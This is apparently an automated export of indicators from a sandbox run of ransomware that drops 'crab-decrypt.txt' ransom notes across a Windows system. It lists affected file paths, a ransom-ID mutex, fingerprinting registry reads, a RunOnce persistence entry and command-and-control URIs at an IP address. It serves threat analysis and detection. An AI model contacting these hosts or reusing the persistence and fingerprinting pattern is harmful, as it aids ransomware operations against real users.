users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\qlz1qryy.mp4
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\qlz1qryy.mp4
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3bux\qlz1qryy.mp4
mp4
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3wbz.mkv
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3wbz.mkv
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\3wbz.mkv
mkv
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\6 a4m\crab-decrypt.txt
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\6 a4m\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\6 a4m\crab-decrypt.txt
txt
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\6 a4m\hk2ds 8.avi
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\6 a4m\hk2ds 8.avi
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\6 a4m\hk2ds 8.avi
avi
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\6 a4m\n ekznbc1o3wn.flv
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\6 a4m\n ekznbc1o3wn.flv
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\6 a4m\n ekznbc1o3wn.flv
flv
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\6 a4m\uykbtfxuavyzin-4.flv
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\6 a4m\uykbtfxuavyzin-4.flv
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\6 a4m\uykbtfxuavyzin-4.flv
flv
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\6 a4m\vroqonjztauz.mp4
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\6 a4m\vroqonjztauz.mp4
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\6 a4m\vroqonjztauz.mp4
mp4
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\eimpnwub_7vmwhyd7wv.flv
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\eimpnwub_7vmwhyd7wv.flv
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\eimpnwub_7vmwhyd7wv.flv
flv
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\mvjr4a.mp4
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\mvjr4a.mp4
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\mvjr4a.mp4
mp4
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\r0rwp4.avi
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\r0rwp4.avi
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\r0rwp4.avi
avi
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\wiq3apvmmh.mkv
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\wiq3apvmmh.mkv
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\wiq3apvmmh.mkv
mkv
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\y59duvi4k\crab-decrypt.txt
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\y59duvi4k\crab-decrypt.txt
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\y59duvi4k\crab-decrypt.txt
txt
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\y59duvi4k\0ljuzoyl0mzm_uxici_z.mkv
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\y59duvi4k\0ljuzoyl0mzm_uxici_z.mkv
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\y59duvi4k\0ljuzoyl0mzm_uxici_z.mkv
mkv
File
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\y59duvi4k\mzuva081ecml_pbxx.avi
users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\y59duvi4k\mzuva081ecml_pbxx.avi
c:\
c:\users\nd9e1fyi\videos\kjdebkv\mzk5bgskohvbe8c8cfq\y59duvi4k\mzuva081ecml_pbxx.avi
avi
File
users\nd9e1fyi\videos\kjdebkv\x9hlpap1ozuu.mp4
users\nd9e1fyi\videos\kjdebkv\x9hlpap1ozuu.mp4
c:\
c:\users\nd9e1fyi\videos\kjdebkv\x9hlpap1ozuu.mp4
mp4
File
users\nd9e1fyi\videos\m7iyqpebndakd6k.mp4
users\nd9e1fyi\videos\m7iyqpebndakd6k.mp4
c:\
c:\users\nd9e1fyi\videos\m7iyqpebndakd6k.mp4
mp4
File
users\nd9e1fyi\videos\pvcwlp.flv
users\nd9e1fyi\videos\pvcwlp.flv
c:\
c:\users\nd9e1fyi\videos\pvcwlp.flv
flv
File
users\nd9e1fyi\videos\pz0wplig7eok1qie0.swf
users\nd9e1fyi\videos\pz0wplig7eok1qie0.swf
c:\
c:\users\nd9e1fyi\videos\pz0wplig7eok1qie0.swf
swf
File
users\nd9e1fyi\videos\u4ggu.avi
users\nd9e1fyi\videos\u4ggu.avi
c:\
c:\users\nd9e1fyi\videos\u4ggu.avi
avi
File
users\nd9e1fyi\videos\xu9u_e.flv
users\nd9e1fyi\videos\xu9u_e.flv
c:\
c:\users\nd9e1fyi\videos\xu9u_e.flv
flv
File
users\public\crab-decrypt.txt
users\public\crab-decrypt.txt
c:\
c:\users\public\crab-decrypt.txt
txt
File
users\public\accountpictures\crab-decrypt.txt
users\public\accountpictures\crab-decrypt.txt
c:\
c:\users\public\accountpictures\crab-decrypt.txt
txt
File
users\public\documents\crab-decrypt.txt
users\public\documents\crab-decrypt.txt
c:\
c:\users\public\documents\crab-decrypt.txt
txt
File
users\public\documents\my music\crab-decrypt.txt
users\public\documents\my music\crab-decrypt.txt
c:\
c:\users\public\documents\my music\crab-decrypt.txt
txt
File
users\public\documents\my pictures\crab-decrypt.txt
users\public\documents\my pictures\crab-decrypt.txt
c:\
c:\users\public\documents\my pictures\crab-decrypt.txt
txt
File
users\public\documents\my videos\crab-decrypt.txt
users\public\documents\my videos\crab-decrypt.txt
c:\
c:\users\public\documents\my videos\crab-decrypt.txt
txt
File
users\public\downloads\crab-decrypt.txt
users\public\downloads\crab-decrypt.txt
c:\
c:\users\public\downloads\crab-decrypt.txt
txt
File
users\public\libraries\crab-decrypt.txt
users\public\libraries\crab-decrypt.txt
c:\
c:\users\public\libraries\crab-decrypt.txt
txt
File
users\public\libraries\recordedtv.library-ms
users\public\libraries\recordedtv.library-ms
c:\
c:\users\public\libraries\recordedtv.library-ms
library-ms
Mutex
Global\pc_group=WORKGROUP&ransom_id=58de2295a283c81
WinRegistryKey
SYSTEM\CurrentControlSet\services\Tcpip\Parameters
HKEY_LOCAL_MACHINE
Domain
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
ProcessorNameString
WinRegistryKey
SYSTEM\CurrentControlSet\services\Tcpip\Parameters
HKEY_LOCAL_MACHINE
Domain
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
ProcessorNameString
WinRegistryKey
SYSTEM\CurrentControlSet\services\Tcpip\Parameters
HKEY_LOCAL_MACHINE
Domain
WinRegistryKey
Control Panel\International
HKEY_CURRENT_USER
LocaleName
WinRegistryKey
Keyboard Layout\Preload
HKEY_CURRENT_USER
1
WinRegistryKey
SOFTWARE\Microsoft\Windows NT\CurrentVersion
HKEY_LOCAL_MACHINE
productName
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
ProcessorNameString
WinRegistryKey
SYSTEM\CurrentControlSet\services\Tcpip\Parameters
HKEY_LOCAL_MACHINE
Domain
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
ProcessorNameString
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
Identifier
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
Identifier
WinRegistryKey
Keyboard Layout\Preload
HKEY_CURRENT_USER
2
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
Identifier
WinRegistryKey
HARDWARE\DESCRIPTION\System\CentralProcessor\0
HKEY_LOCAL_MACHINE
Identifier
WinRegistryKey
SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER
duyccbpmaea
"C:\Users\Nd9E1FYi\AppData\RoamingqTP35.exe"
REG_SZ
URI
77.244.219.151/eighge
Contains
URI
77.244.219.151/store?steepl=aiplau&sauf=iesay
Contains
DNSRecord
ns1.virmach.ru
DNSRecord
ns1.virmach.ru
WinRegistryKey
SOFTWARE\Microsoft\Wbem\CIMOM
HKEY_LOCAL_MACHINE
Logging
Logging Directory
Logging Directory
Log File Max Size
File
STD_OUTPUT_HANDLE
File
STD_INPUT_HANDLE
File
STD_ERROR_HANDLE
File
STD_INPUT_HANDLE
File
STD_OUTPUT_HANDLE
File
STD_ERROR_HANDLE
File
crab-decrypt.txt
crab-decrypt.txt
c:\
c:\crab-decrypt.txt
txt
File
$recycle.bin\crab-decrypt.txt
$recycle.bin\crab-decrypt.txt
c:\
c:\$recycle.bin\crab-decrypt.txt
txt
File
$recycle.bin\s-1-5-18\crab-decrypt.txt
$recycle.bin\s-1-5-18\crab-decrypt.txt
c:\
c:\$recycle.bin\s-1-5-18\crab-decrypt.txt
txt
File
documents and settings\crab-decrypt.txt
documents and settings\crab-decrypt.txt
c:\
c:\documents and settings\crab-decrypt.txt
txt
File
documents and settings\default\crab-decrypt.txt
documents and settings\default\crab-decrypt.txt
c:\
c:\documents and settings\default\crab-decrypt.txt
txt
File
documents and settings\default\appdata\crab-decrypt.txt
documents and settings\default\appdata\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\crab-decrypt.txt
documents and settings\default\appdata\local\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\history\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\settings.ini
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\settings.ini
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\settings.ini
ini
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\gadgets\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\settings.ini
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\settings.ini
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\windows sidebar\settings.ini
ini
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\temporary internet files\crab-decrypt.txt
txt
File
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\microsoft\inputpersonalization\traineddatastore\crab-decrypt.txt
txt
File
documents and settings\default\appdata\roaming\crab-decrypt.txt
documents and settings\default\appdata\roaming\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\roaming\crab-decrypt.txt
txt
File
documents and settings\default\appdata\roaming\microsoft\crab-decrypt.txt
documents and settings\default\appdata\roaming\microsoft\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\roaming\microsoft\crab-decrypt.txt
txt
File
documents and settings\default\appdata\roaming\microsoft\internet explorer\crab-decrypt.txt
documents and settings\default\appdata\roaming\microsoft\internet explorer\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\roaming\microsoft\internet explorer\crab-decrypt.txt
txt
File
documents and settings\default\appdata\roaming\microsoft\internet explorer\quick launch\crab-decrypt.txt
documents and settings\default\appdata\roaming\microsoft\internet explorer\quick launch\crab-decrypt.txt
c:\
c:\documents and settings\default\appdata\roaming\microsoft\internet explorer\quick launch\crab-decrypt.txt
txt
File
documents and settings\default\cookies\crab-decrypt.txt
documents and settings\default\cookies\crab-decrypt.txt
c:\
c:\documents and settings\default\cookies\crab-decrypt.txt
txt
File
documents and settings\default\desktop\crab-decrypt.txt
documents and settings\default\desktop\crab-decrypt.txt
c:\
c:\documents and settings\default\desktop\crab-decrypt.txt
txt
File
documents and settings\default\documents\crab-decrypt.txt
documents and settings\default\documents\crab-decrypt.txt
c:\
c:\documents and settings\default\documents\crab-decrypt.txt
txt
File
documents and settings\default\documents\my music\crab-decrypt.txt
documents and settings\default\documents\my music\crab-decrypt.txt
c:\
c:\documents and settings\default\documents\my music\crab-decrypt.txt
txt
File
documents and settings\default\documents\my pictures\crab-decrypt.txt
documents and settings\default\documents\my pictures\crab-decrypt.txt
c:\
c:\documents and settings\default\documents\my pictures\crab-decrypt.txt
txt
File
documents and settings\default\documents\my videos\crab-decrypt.txt
documents and settings\default\documents\my videos\crab-decrypt.txt
c:\
c:\documents and settings\default\documents\my videos\crab-decrypt.txt
txt
File
documents and settings\default\downloads\crab-decrypt.txt
documents and settings\default\downloads\crab-decrypt.txt
c:\
c:\documents and settings\default\downloads\crab-decrypt.txt
txt
File
documents and settings\default\favorites\crab-decrypt.txt
documents and settings\default\favorites\crab-decrypt.txt
c:\
c:\documents and settings\default\favorites\crab-decrypt.txt
txt
File
documents and settings\default\links\crab-decrypt.txt
documents and settings\default\links\crab-decrypt.txt
c:\
c:\documents and settings\default\links\crab-decrypt.txt
txt
File
documents and settings\default\nethood\crab-decrypt.txt
documents and settings\default\nethood\crab-decrypt.txt
c:\
c:\documents and settings\default\nethood\crab-decrypt.txt
txt
File
documents and settings\default\ntuser.dat.log1
documents and settings\default\ntuser.dat.log1
c:\
c:\documents and settings\default\ntuser.dat.log1
log1
File
documents and settings\default\ntuser.dat.log2
documents and settings\default\ntuser.dat.log2
c:\
c:\documents and settings\default\ntuser.dat.log2
log2
File
documents and settings\default\ntuser.dat{62e13464-7ee5-11e5-80c4-a4badb40df56}.tm.blf
documents and settings\default\ntuser.dat{62e13464-7ee5-11e5-80c4-a4badb40df56}.tm.blf
c:\
c:\documents and settings\default\ntuser.dat{62e13464-7ee5-11e5-80c4-a4badb40df56}.tm.blf
blf
File
documents and settings\default\ntuser.dat{62e13464-7ee5-11e5-80c4-a4badb40df56}.tmcontainer00000000000000000001.regtrans-ms
documents and settings\default\ntuser.dat{62e13464-7ee5-11e5-80c4-a4badb40df56}.tmcontainer00000000000000000001.regtrans-ms
c:\
c:\documents and settings\default\ntuser.dat{62e13464-7ee5-11e5-80c4-a4badb40df56}.tmcontainer00000000000000000001.regtrans-ms
regtrans-ms
File
documents and settings\default\ntuser.dat{62e13464-7ee5-11e5-80c4-a4badb40df56}.tmcontainer00000000000000000002.regtrans-ms
documents and settings\default\ntuser.dat{62e13464-7ee5-11e5-80c4-a4badb40df56}.tmcontainer00000000000000000002.regtrans-ms
c:\
c:\documents and settings\default\ntuser.dat{62e13464-7ee5-11e5-80c4-a4badb40df56}.tmcontainer00000000000000000002.regtrans-ms
regtrans-ms
File
documents and settings\default\printhood\crab-decrypt.txt
documents and settings\default\printhood\crab-decrypt.txt
c:\
c:\documents and settings\default\printhood\crab-decrypt.txt
txt
File
documents and settings\default\recent\crab-decrypt.txt
documents and settings\default\recent\crab-decrypt.txt
c:\
c:\documents and settings\default\recent\crab-decrypt.txt
txt
File
documents and settings\default\saved games\crab-decrypt.txt
documents and settings\default\saved games\crab-decrypt.txt
c:\
c:\documents and settings\default\saved games\crab-decrypt.txt
txt
File
documents and settings\default\sendto\crab-decrypt.txt
documents and settings\default\sendto\crab-decrypt.txt
c:\
c:\documents and settings\default\sendto\crab-decrypt.txt
txt
File
documents and settings\default\start menu\crab-decrypt.txt
documents and settings\default\start menu\crab-decrypt.txt
c:\
c:\documents and settings\default\start menu\crab-decrypt.txt
txt
File
documents and settings\default\start menu\programs\crab-decrypt.txt
documents and settings\default\start menu\programs\crab-decrypt.txt
c:\
c:\documents and settings\default\start menu\programs\crab-decrypt.txt
txt
File
documents and settings\default\start menu\programs\accessibility\crab-decrypt.txt
documents and settings\default\start menu\programs\accessibility\crab-decrypt.txt
c:\
c:\documents and settings\default\start menu\programs\accessibility\crab-decrypt.txt
txt
File
documents and settings\default\start menu\programs\accessories\crab-decrypt.txt
documents and settings\default\start menu\programs\accessories\crab-decrypt.txt
c:\
c:\documents and settings\default\start menu\programs\accessories\crab-decrypt.txt
txt
File
documents and settings\default\start menu\programs\maintenance\crab-decrypt.txt
documents and settings\default\start menu\programs\maintenance\crab-decrypt.txt
c:\
c:\documents and settings\default\start menu\programs\maintenance\crab-decrypt.txt
txt
File
documents and settings\default\start menu\programs\system tools\crab-decrypt.txt
documents and settings\default\start menu\programs\system tools\crab-decrypt.txt
c:\
c:\documents and settings\default\start menu\programs\system tools\crab-decrypt.txt
txt
File
documents and settings\default\start menu\programs\windows powershell\crab-decrypt.txt
documents and settings\default\start menu\programs\windows powershell\crab-decrypt.txt
c:\
c:\documents and settings\default\start menu\programs\windows powershell\crab-decrypt.txt
txt
File
documents and settings\default\templates\crab-decrypt.txt
documents and settings\default\templates\crab-decrypt.txt
c:\
c:\documents and settings\default\templates\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\activesync\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\activesync\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\activesync\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\adobe\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\adobe\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\adobe\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\adobecmapfnt15.lst
documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\adobecmapfnt15.lst
c:\
c:\documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\adobecmapfnt15.lst
lst
File
documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\adobesysfnt15.lst
documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\adobesysfnt15.lst
c:\
c:\documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\adobesysfnt15.lst
lst
File
documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\cache\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\cache\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\cache\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\cache\acrofnt15.lst
documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\cache\acrofnt15.lst
c:\
c:\documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\cache\acrofnt15.lst
lst
File
documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\iconcacherdr.dat
documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\iconcacherdr.dat
c:\
c:\documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\iconcacherdr.dat
dat
File
documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\usercache.bin
documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\usercache.bin
c:\
c:\documents and settings\nd9e1fyi\appdata\local\adobe\acrobat\dc\usercache.bin
bin
File
documents and settings\nd9e1fyi\appdata\local\adobe\acrocef\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\adobe\acrocef\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\adobe\acrocef\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\adobe\acrocef\dc\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\adobe\acrocef\dc\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\adobe\acrocef\dc\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\adobe\acrocef\dc\acrobat\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\adobe\acrocef\dc\acrobat\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\adobe\acrocef\dc\acrobat\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\adobe\acrocef\dc\acrobat\cookie\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\adobe\acrocef\dc\acrobat\cookie\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\adobe\acrocef\dc\acrobat\cookie\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\adobe\color\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\adobe\color\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\adobe\color\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\adobe\color\acecache11.lst
documents and settings\nd9e1fyi\appdata\local\adobe\color\acecache11.lst
c:\
c:\documents and settings\nd9e1fyi\appdata\local\adobe\color\acecache11.lst
lst
File
documents and settings\nd9e1fyi\appdata\local\adobe\color\profiles\crab-decrypt.txt
documents and settings\nd9e1fyi\appdata\local\adobe\color\profiles\crab-decrypt.txt
c:\
c:\documents and settings\nd9e1fyi\appdata\local\adobe\color\profiles\crab-decrypt.txt
txt
File
documents and settings\nd9e1fyi\appdata\local\adobe\color\profiles\wscrgb.icc
documents and settings\nd9e1fyi\appdata\local\adobe\color\profiles\wscrgb.icc
c:\
c:\documents and settings\nd9e1fyi\appdata\local\adobe\color\profiles\wscrgb.icc
icc
File
documents and settings\nd9e1fyi\appdata\local\adobe\color\profiles\wsrgb.icc
documents and settings\nd9e1fyi\appdata\local\adobe\color\profiles\wsrgb.icc
c:\
c:\documents and settings\nd9e1fyi\appdata\local\adobe\color\profiles\wsrgb.icc
icc
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\-e jjuv2tekl.pdf
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\-e jjuv2tekl.pdf
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\-e jjuv2tekl.pdf
pdf
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\1wjk.mp4
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\1wjk.mp4
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\1wjk.mp4
mp4
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\2grwsbis.mp4
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\2grwsbis.mp4
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\2grwsbis.mp4
mp4
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\4229bd.swf
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\4229bd.swf
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\4229bd.swf
swf
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ddye 50uk2l.gif
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ddye 50uk2l.gif
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\ddye 50uk2l.gif
gif
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\dpo3pqlaa.wav
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\dpo3pqlaa.wav
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\dpo3pqlaa.wav
wav
File
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\hf1d.jpg
documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\hf1d.jpg
c:\
c:\documents and settings\nd9e1fyi\appdata\local\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\application data\temp\hf1d.jpg
jpg
File
